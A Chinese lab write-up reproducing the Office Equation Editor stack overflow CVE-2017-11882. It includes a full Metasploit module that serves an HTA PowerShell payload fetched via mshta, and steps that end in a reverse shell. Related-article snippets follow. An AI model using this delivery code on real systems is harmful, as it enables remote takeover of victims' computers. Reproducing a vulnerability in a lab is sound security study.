【漏洞复现】噩梦公式一代漏洞|公式编辑器EQNETD32.exe栈溢出漏洞(CVE-2017-11882)

本文主要是介绍【漏洞复现】噩梦公式一代漏洞|公式编辑器EQNETD32.exe栈溢出漏洞(CVE-2017-11882),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

 

一、CVE-2017-11882 —— 类型:栈溢出漏洞

CVE-2017-11882 是 一 个Office 远程代码执行的漏洞,该漏洞的成因是EQNEDT32.EXE进程在读入包含MathType的ole数据时,在拷贝公式字体名称时没有对名称长度进行校验,从而造成栈缓冲区溢出,是一个非常经典的栈溢出漏洞。该漏洞位于EQNEDT32.EXE(Microsoft 公式编辑器),这个组件首发于 Microsoft Office2000 和 Microsoft2003, 用于在文档中插入和编辑方程式,EQNEDT32.EXE 在 17 年前编译后再未更改。虽然从 MicrosoftOffice2007 开始,显示和编辑方程的方法发生了变化,但是为了保持版本兼容性,EQNEDT32.EXE 并没有从 Office 套件中删除。盗个图如下:

 

二、准备

攻击机:kali-2019    192.168.75.146

靶机:win7_x86(关闭防火墙)    192.168.75.139

验证漏洞存在:

  • 搭建漏洞环境(安装Office 2003 sp3),执行漏洞poc
  • 由于漏洞出现在EQNEDT32.EXE 进程 首先需要确认是否存在公式编辑器
  • 菜单->插入->对象 找到公式3.0
  • 如果没有则说明Office安装不完全或者版本不符合

 

三、复现过程

1、下载 exp,生成漏洞验证文档 calc.doc

将 calc.doc 放到靶机中打开,弹出计算器说明漏洞存在

2、生成 payload 文档,发送到靶机

3、将下面内容保存成 PS_shell.rb 文件,并放到 msf 的脚本目录下,比如我新建了一个 wtf 目录,放在了这下面

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##class MetasploitModule  < Msf::Exploit::RemoteRank = NormalRankinginclude Msf::Exploit::Remote::HttpServerdef initialize(info  = {})super(update_info(info,'Name' => 'Microsoft Office Payload Delivery','Description' => %q{This module generates an command to place withina word document, that when executed, will retrieve a HTA payloadvia HTTP from an web server. Currently have not figured out howto generate a doc.},'License' => MSF_LICENSE,'Arch' => ARCH_X86,'Platform' => 'win','Targets' =>[['Automatic', {} ],],'DefaultTarget' => 0,))enddef on_request_uri(cli, _request)print_status("Delivering payload")p = regenerate_payload(cli)data = Msf::Util::EXE.to_executable_fmt(framework,ARCH_X86,'win',p.encoded,'hta-psh',{ :arch => ARCH_X86, :platform => 'win '})send_response(cli, data, 'Content-Type' => 'application/hta')enddef primerurl = get_uriprint_status("Place the following DDE in an MS document:")print_line("mshta.exe \"#{url}\"")end
end

4、启动 msf,执行 reload_all 从新加载一下攻击模块,可以多重复几遍,有时候卡的加载不粗来。PS_shell 加载成功后执行如下命令,准备接受反弹 shell

5、靶机打开 test.doc,攻击机 getshell

 

四、技术细节

该漏洞的成因是EQNEDT32.EXE进程在读入包含MathType的ole数据时,在拷贝公式字体名称时没有对名称长度进行校验,从而造成栈缓冲区溢出,是一个非常经典的栈溢出漏洞。

该漏洞出现在模块 EQNEDT32.EXE 中, 该模块为windows的公式编辑器。由于该模块对于输入的公式未做正确的处理,攻击者可以通过刻意构造的数据内容覆盖掉栈上的函数地址,从而劫持程序流程,执行任意命令:**模块路径:**C:\Program Files\Common Files\microsoft shared\EQUATION。

>> 通过ProcessMonitor 查看计算器的父进程,发现是 EQNEDT32.EXE,且 EQNEDT32.EXE 并不会作为 WINWORD 的子进程创建,而是以单独的形式存在。这就意味着 Office 的进程保护机制,无法阻止 EQNEDT32.EXE 这个进程被利用。因此 EQNEDT32.exe 就是出现漏洞的模块。

>> 那么如何定位到出现栈溢出漏洞的代码位置呢,因为弹出计算器的时候创建了新进程,所以我们可以认为是由 WinExec 或者 CreateProcess 创建的。用 windbg 附加 EQNEDT32.EXE,然后下 API 断点,再打开poc文件,观察断到哪里,找到调用公式编辑器的位置,再耐心找到strcpy函数即可,一般是没有用安全版本的 strcpy 函数导致的栈溢出漏洞。

 

 

 

 

参考:

https://blog.csdn.net/yiyiiyiy/article/details/78623873

https://blog.csdn.net/qq_38474570/article/details/98513146

 

 

 

 

 

 

 

这篇关于【漏洞复现】噩梦公式一代漏洞|公式编辑器EQNETD32.exe栈溢出漏洞(CVE-2017-11882)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/716060

相关文章

Java循环创建对象内存溢出的解决方法

《Java循环创建对象内存溢出的解决方法》在Java中,如果在循环中不当地创建大量对象而不及时释放内存,很容易导致内存溢出(OutOfMemoryError),所以本文给大家介绍了Java循环创建对象... 目录问题1. 解决方案2. 示例代码2.1 原始版本(可能导致内存溢出)2.2 修改后的版本问题在

SQL注入漏洞扫描之sqlmap详解

《SQL注入漏洞扫描之sqlmap详解》SQLMap是一款自动执行SQL注入的审计工具,支持多种SQL注入技术,包括布尔型盲注、时间型盲注、报错型注入、联合查询注入和堆叠查询注入... 目录what支持类型how---less-1为例1.检测网站是否存在sql注入漏洞的注入点2.列举可用数据库3.列举数据库

javafx 如何将项目打包为 Windows 的可执行文件exe

《javafx如何将项目打包为Windows的可执行文件exe》文章介绍了三种将JavaFX项目打包为.exe文件的方法:方法1使用jpackage(适用于JDK14及以上版本),方法2使用La... 目录方法 1:使用 jpackage(适用于 JDK 14 及更高版本)方法 2:使用 Launch4j(

PHP执行php.exe -v命令报错的解决方案

《PHP执行php.exe-v命令报错的解决方案》:本文主要介绍PHP执行php.exe-v命令报错的解决方案,文中通过图文讲解的非常详细,对大家的学习或工作有一定的帮助,需要的朋友可以参考下... 目录执行phpandroid.exe -v命令报错解决方案执行php.exe -v命令报错-PHP War

hdu 4565 推倒公式+矩阵快速幂

题意 求下式的值: Sn=⌈ (a+b√)n⌉%m S_n = \lceil\ (a + \sqrt{b}) ^ n \rceil\% m 其中: 0<a,m<215 0< a, m < 2^{15} 0<b,n<231 0 < b, n < 2^{31} (a−1)2<b<a2 (a-1)^2< b < a^2 解析 令: An=(a+b√)n A_n = (a +

Detectorn2预训练模型复现:数据准备、训练命令、日志分析与输出目录

Detectorn2预训练模型复现:数据准备、训练命令、日志分析与输出目录 在深度学习项目中,目标检测是一项重要的任务。本文将详细介绍如何使用Detectron2进行目标检测模型的复现训练,涵盖训练数据准备、训练命令、训练日志分析、训练指标以及训练输出目录的各个文件及其作用。特别地,我们将演示在训练过程中出现中断后,如何使用 resume 功能继续训练,并将我们复现的模型与Model Zoo中的

UMI复现代码运行逻辑全流程(一)——eval_real.py(尚在更新)

一、文件夹功能解析 全文件夹如下 其中,核心文件作用为: diffusion_policy:扩散策略核心文件夹,包含了众多模型及基础库 example:标定及配置文件 scripts/scripts_real:测试脚本文件,区别在于前者倾向于单体运行,后者为整体运行 scripts_slam_pipeline:orb_slam3运行全部文件 umi:核心交互文件夹,作用在于构建真

文章解读与仿真程序复现思路——电力自动化设备EI\CSCD\北大核心《考虑燃料电池和电解槽虚拟惯量支撑的电力系统优化调度方法》

本专栏栏目提供文章与程序复现思路,具体已有的论文与论文源程序可翻阅本博主免费的专栏栏目《论文与完整程序》 论文与完整源程序_电网论文源程序的博客-CSDN博客https://blog.csdn.net/liang674027206/category_12531414.html 电网论文源程序-CSDN博客电网论文源程序擅长文章解读,论文与完整源程序,等方面的知识,电网论文源程序关注python

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

二维旋转公式

二维旋转公式 ros的tf工具包可以很方便的实现任意坐标系之间的坐标转换。但是,如果只是想简单的测试想法,而又不想编写过于庞杂的代码,考虑自己写二维旋转的函数。而与二维旋转问题对偶的另一个问题便是二维坐标系旋转变换。这两个问题的形式基本一样,只是旋转的角度相差一个负号。就是这个容易搞混,所以做个笔记,以备查用。 1. 二维旋转公式(算法) 而(此文只针对二维)旋转则是表示某一坐标点 ( x